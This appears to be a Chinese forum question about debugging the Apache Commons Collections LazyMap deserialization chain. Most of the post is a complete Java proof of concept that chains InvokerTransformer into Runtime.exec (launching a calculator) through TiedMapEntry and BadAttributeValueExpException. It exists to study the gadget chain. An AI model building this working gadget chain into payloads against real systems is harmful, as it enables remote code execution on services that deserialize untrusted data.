今天在调ACC的 LazyMap 攻击链 , 遇到一个问题 .
先放一下 POC
import ...
public class EvalObject4 implements Serializable{
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"mate-calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
// 通过 lazyMap.decorate() 方法获取 LazyMap 实例对象
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 实例化
TiedMapEntry entry = new TiedMapEntry(lazyMap, "epicccal");
// 实例化
BadAttributeValueExpException ins = new BadAttributeValueExpException(null);
Field valfield = ins.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins, entry);
ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();
ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
ois.close();
}
}
在调试时发现这段代码会执行两次命令执行 , 除了在反序列化时调用 readObject()
会弹出计算器外 , 在实例化 TiedMapEntry
时同样会弹出计算器 , 分析后发现 TiedMapEntry
构造函数中 this.map = map
这一步会触发命令执行 , 但是我不明白为什么 .
请问有师傅知道原因吗?